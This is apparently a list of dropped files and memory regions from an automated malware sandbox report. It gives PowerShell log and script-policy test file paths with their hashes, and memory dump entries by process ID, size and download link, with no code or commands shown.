C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
a43e653ffb5ab07940f4bdd9cc8fade4

SHA1
af43d04e3427f111b22dc891c5c7ee8a10ac4123

SHA256
c4c53abb13e99475aebfbe9fec7a8fead81c14c80d9dcc2b81375304f3a683fe

SHA512
62a97e95e1f19a8d4302847110dae44f469877eed6aa8ea22345c6eb25ee220e7d310fa0b7ec5df42356815421c0af7c46a0f1fee8933cc446641800eda6cd1b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
3af07eb2fbd7051492c0dcfded53273b

SHA1
99cd4355239f436e770ea36bc650f28ce24a85d0

SHA256
412050914ba56ad3795fb882933c7927f2d0acb8a0ae115990bbce7479a3c5fe

SHA512
cf0604f0e0a7ac575cf2dd1b96132dcc5e77174c55a8124d0acb216061f50ac9afbde553e05fb2e4c8510dd951895a2acb86f23201fc2f5c9c6bb0fa68f808c0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
4988caea7c1f679d1df1173d5a4afd4e

SHA1
15d9cddfde6c9b6e70d5b9a667cea78e87769fa0

SHA256
f313df10f67103a0652cc0c596cd85403f46a98240a886e375b07f436409000a

SHA512
f356cdd7fbf3eb998cec338aee38af077bf0c769c7bfc2b0deba1c309d88ce8daef90a35cce24bdc105d22b4eabe2f8962599dfadae8be80a2184f98627894e2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s00nw0py.on5.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
4KB

MD5
bdb25c22d14ec917e30faf353826c5de

SHA1
6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

SHA256
e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

SHA512
b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
b42c70c1dbf0d1d477ec86902db9e986

SHA1
1d1c0a670748b3d10bee8272e5d67a4fabefd31f

SHA256
8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

SHA512
57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

Download Submit
memory/904-12-0x000001CA742B0000-0x000001CA742C0000-memory.dmp

Filesize
64KB

Download
memory/904-16-0x00007FFAD4D30000-0x00007FFAD57F1000-memory.dmp

Filesize
10.8MB

Download
memory/904-13-0x000001CA742B0000-0x000001CA742C0000-memory.dmp

Filesize
64KB

Download
memory/904-10-0x000001CA74210000-0x000001CA74232000-memory.dmp

Filesize
136KB

Download
memory/904-11-0x00007FFAD4D30000-0x00007FFAD57F1000-memory.dmp

Filesize
10.8MB

Download
memory/1880-81-0x00000218B9430000-0x00000218B943A000-memory.dmp

Filesize
40KB

Download
memory/1880-63-0x000002189E770000-0x000002189E780000-memory.dmp

Filesize
64KB

Download
memory/1880-79-0x00000218B93F0000-0x00000218B93F8000-memory.dmp

Filesize
32KB

Download
memory/1880-85-0x00007FFAD4D30000-0x00007FFAD57F1000-memory.dmp

Filesize
10.8MB

Download
memory/1880-78-0x00000218B9440000-0x00000218B945A000-memory.dmp

Filesize
104KB

Download
memory/1880-80-0x00000218B9420000-0x00000218B9426000-memory.dmp

Filesize
24KB

Download
memory/1880-77-0x00000218B93E0000-0x00000218B93EA000-memory.dmp

Filesize
40KB

Download
memory/1880-82-0x000002189E770000-0x000002189E780000-memory.dmp

Filesize
64KB

Download
memory/1880-62-0x000002189E770000-0x000002189E780000-memory.dmp

Filesize
64KB

Download
memory/1880-61-0x00007FFAD4D30000-0x00007FFAD57F1000-memory.dmp

Filesize
10.8MB

Download
memory/1880-73-0x00000218B91C0000-0x00000218B91DC000-memory.dmp

Filesize
112KB

Download
memory/1880-74-0x00000218B91E0000-0x00000218B9295000-memory.dmp

Filesize
724KB

Download
memory/1880-75-0x00000218B8F70000-0x00000218B8F7A000-memory.dmp

Filesize
40KB

Download
memory/1880-76-0x00000218B9400000-0x00000218B941C000-memory.dmp

Filesize
112KB

Download
memory/2004-51-0x00007FF7626B0000-0x00007FF7628C1000-memory.dmp

Filesize
2.1MB

Download
memory/2004-119-0x00007FF7626B0000-0x00007FF7628C1000-memory.dmp

Filesize
2.1MB

Download
memory/2360-143-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-157-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-185-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-183-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-181-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-179-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-177-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-175-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-173-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-171-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-169-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-167-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-165-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-163-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-161-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-120-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-121-0x0000023045520000-0x0000023045540000-memory.dmp

Filesize
128KB

Download
memory/2360-159-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-122-0x0000023045690000-0x00000230456B0000-memory.dmp

Filesize
128KB

Download
memory/2360-155-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-124-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-125-0x00000230456B0000-0x00000230456D0000-memory.dmp

Filesize
128KB

Download
memory/2360-126-0x00000230456D0000-0x00000230456F0000-memory.dmp

Filesize
128KB

Download
memory/2360-128-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-153-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-130-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-131-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-132-0x00000230456B0000-0x00000230456D0000-memory.dmp

Filesize
128KB

Download
memory/2360-133-0x00000230456D0000-0x00000230456F0000-memory.dmp

Filesize
128KB

Download
memory/2360-135-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-137-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-139-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-141-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-151-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-145-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-147-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/2360-149-0x00007FF636940000-0x00007FF637134000-memory.dmp

Filesize
8.0MB

Download
memory/3572-123-0x00007FF74EA20000-0x00007FF74EA36000-memory.dmp

Filesize
88KB

Download
memory/3572-129-0x00007FF74EA20000-0x00007FF74EA36000-memory.dmp

Filesize
88KB

Download
memory/4024-98-0x000001CDAA740000-0x000001CDAA750000-memory.dmp

Filesize
64KB

Download
memory/4024-112-0x00007FFAD4D30000-0x00007FFAD57F1000-memory.dmp

Filesize
10.8MB

Download
memory/4024-97-0x00007FFAD4D30000-0x00007FFAD57F1000-memory.dmp

Filesize
10.8MB

Download
memory/4024-99-0x000001CDAA740000-0x000001CDAA750000-memory.dmp

Filesize
64KB

Download
memory/4024-108-0x000001CDAA740000-0x000001CDAA750000-memory.dmp

Filesize
64KB

Download
memory/4024-110-0x000001CDAA740000-0x000001CDAA750000-memory.dmp

Filesize
64KB

Download
memory/4176-30-0x000001CEC7E60000-0x000001CEC7E70000-memory.dmp

Filesize
64KB

Download
memory/4176-31-0x000001CEC7E60000-0x000001CEC7E70000-memory.dmp

Filesize
64KB

Download
memory/4176-33-0x00007FFAD4D30000-0x00007FFAD57F1000-memory.dmp

Filesize
10.8MB

Download
memory/4176-23-0x00007FFAD4D30000-0x00007FFAD57F1000-memory.dmp

Filesize
10.8MB

Download
memory/4176-28-0x000001CEC7E60000-0x000001CEC7E70000-memory.dmp

Filesize
64KB

Download
memory/4356-50-0x00007FFAD4D30000-0x00007FFAD57F1000-memory.dmp

Filesize
10.8MB

Download
memory/4356-46-0x00007FFAD4D30000-0x00007FFAD57F1000-memory.dmp

Filesize
10.8MB

Download
memory/4356-47-0x000001B471B60000-0x000001B471B70000-memory.dmp

Filesize
64KB

Download
memory/4436-0-0x00007FF7CF0F0000-0x00007FF7CF301000-memory.dmp

Filesize
2.1MB

Download
memory/4436-35-0x00007FF7CF0F0000-0x00007FF7CF301000-memory.dmp

Filesize
2.1MB

Download